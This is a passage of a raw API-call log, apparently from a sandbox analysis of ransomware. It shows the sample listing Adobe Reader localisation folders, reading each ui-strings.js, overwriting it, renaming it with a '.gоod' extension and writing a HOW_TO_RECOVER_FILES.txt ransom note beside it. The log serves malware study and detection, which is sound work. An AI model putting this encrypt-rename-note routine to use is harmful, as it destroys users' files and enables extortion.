nFileSizeHigh=0x0, nFileSizeLow=0x792)) returned 1 [0194.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0194.127] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0194.127] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.127] GetFileType (hFile=0x824) returned 0x1 [0194.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0194.127] GetFileType (hFile=0x824) returned 0x1 [0194.128] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x792 [0194.128] ReadFile (in: hFile=0x824, lpBuffer=0x350b118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x350b118*, lpNumberOfBytesRead=0x203eb258*=0x792, lpOverlapped=0x0) returned 1 [0194.168] CloseHandle (hObject=0x824) returned 1 [0194.194] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0194.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.195] GetFileType (hFile=0x824) returned 0x1 [0194.195] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0194.195] GetFileType (hFile=0x824) returned 0x1 [0194.195] WriteFile (in: hFile=0x824, lpBuffer=0x3600f88*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3600f88*, lpNumberOfBytesWritten=0x203eb168*=0x7a0, lpOverlapped=0x0) returned 1 [0194.196] CloseHandle (hObject=0x824) returned 1 [0194.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.196] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0194.197] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0194.197] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6ff5c69b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7a0)) returned 1 [0194.197] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0194.197] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\ui-strings.js.gоod")) returned 1 [0194.198] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0194.198] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0194.198] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\de-de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0194.672] GetFileType (hFile=0x824) returned 0x1 [0194.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0194.672] GetFileType (hFile=0x824) returned 0x1 [0194.673] WriteFile (in: hFile=0x824, lpBuffer=0x36726c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x36726c0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0194.674] CloseHandle (hObject=0x824) returned 1 [0194.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0194.674] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae", lpFilePart=0x0) returned 0x77 [0194.674] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0194.675] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0194.675] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0194.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0194.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0194.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae", lpFilePart=0x0) returned 0x77 [0194.676] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0194.676] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0194.676] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0194.676] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0194.676] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0194.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3682598 | out: lpFileInformation=0x3682598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc)) returned 1 [0194.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0194.677] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0194.677] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.677] GetFileType (hFile=0x824) returned 0x1 [0194.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0194.677] GetFileType (hFile=0x824) returned 0x1 [0194.677] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x6dc [0194.677] ReadFile (in: hFile=0x824, lpBuffer=0x3683020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x3683020*, lpNumberOfBytesRead=0x203eb258*=0x6dc, lpOverlapped=0x0) returned 1 [0194.678] CloseHandle (hObject=0x824) returned 1 [0194.705] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0194.705] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0194.707] GetFileType (hFile=0x824) returned 0x1 [0194.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0194.707] GetFileType (hFile=0x824) returned 0x1 [0194.707] WriteFile (in: hFile=0x824, lpBuffer=0x36fc718*, nNumberOfBytesToWrite=0x6e0, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x36fc718*, lpNumberOfBytesWritten=0x203eb168*=0x6e0, lpOverlapped=0x0) returned 1 [0194.708] CloseHandle (hObject=0x824) returned 1 [0194.708] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0194.708] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0194.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0194.708] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x70447442, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6e0)) returned 1 [0194.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0194.708] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\ui-strings.js.gоod")) returned 1 [0194.709] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0194.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0194.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0194.710] GetFileType (hFile=0x824) returned 0x1 [0194.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0194.710] GetFileType (hFile=0x824) returned 0x1 [0194.711] WriteFile (in: hFile=0x824, lpBuffer=0x3700028*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3700028*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0194.711] CloseHandle (hObject=0x824) returned 1 [0194.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0194.712] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x77 [0194.712] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0194.712] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0194.712] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0194.712] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0194.713] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0194.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0194.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0194.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0194.713] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb", lpFilePart=0x0) returned 0x77 [0194.713] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\en-gb\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, 